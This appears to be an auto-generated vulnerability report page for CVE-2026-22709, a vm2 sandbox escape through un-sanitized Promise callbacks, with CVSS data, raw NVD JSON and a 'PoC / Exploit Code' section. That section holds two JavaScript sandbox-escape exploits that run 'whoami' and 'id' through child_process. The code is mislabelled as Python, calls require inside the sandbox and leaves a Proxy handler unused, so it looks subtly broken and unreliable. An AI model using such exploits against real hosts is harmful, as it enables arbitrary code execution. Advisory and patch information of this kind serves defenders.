Security Vulnerability Report
中文
CVE-2026-22709 CVSS 9.8 CRITICAL

CVE-2026-22709

Published: 2026-01-26 22:15:56
Last Modified: 2026-02-17 20:59:30

Description

vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE
vm2 < 3.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22709 PoC - vm2 Sandbox Escape const { VM } = require('vm2'); // Create a vulnerable VM instance (vm2 < 3.10.2) const vm = new VM({ timeout: 5000, sandbox: {} }); // Exploit code that escapes the sandbox const exploitCode = ` (async () => { // Get reference to global Promise const globalPromise = (async () => {})(); // Access the un-sanitized Promise.prototype.then // The callback runs outside sandbox context globalPromise.constructor.prototype.then.call( globalPromise, () => { // This code runs with full Node.js privileges const { execSync } = require('child_process'); return execSync('whoami'); } ); })(); `; try { const result = vm.run(exploitCode); console.log('Command executed successfully'); console.log('Result:', result); } catch (e) { console.error('Error:', e.message); } // Alternative simpler PoC const simplePoc = ` const handler = { get(target, prop) { return new Proxy(()=>{}, handler); } }; try { // Trigger the vulnerability through async function return const p = (async () => ({}.x))(); p.then(()=>{ try { const c = process.mainModule.require('child_process'); console.log(c.execSync('id').toString()); } catch(e) { console.log('Exploit failed'); } }); } catch(e) { console.log('Error:', e.message); } `; vm.run(simplePoc);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22709", "sourceIdentifier": "[email protected]", "published": "2026-01-26T22:15:55.890", "lastModified": "2026-02-17T20:59:29.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue."}, {"lang": "es", "value": "vm2 es una vm/sandbox de código abierto para Node.js. En vm2, en versiones anteriores a la 3.10.2, la sanitización de las devoluciones de llamada de `Promise.prototype.then` `Promise.prototype.catch` puede ser eludida. Esto permite a los atacantes escapar de la sandbox y ejecutar código arbitrario. En lib/setup-sandbox.js, la función de devolución de llamada de `localPromise.prototype.then` es sanitizada, pero `globalPromise.prototype.then` no es sanitizada. El valor de retorno de las funciones asíncronas es un objeto `globalPromise`. La versión 3.10.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-693"}, {"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.10.2", "matchCriteriaId": "CD4F9978-8CFB-4C45-8C2A-469413D81852"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}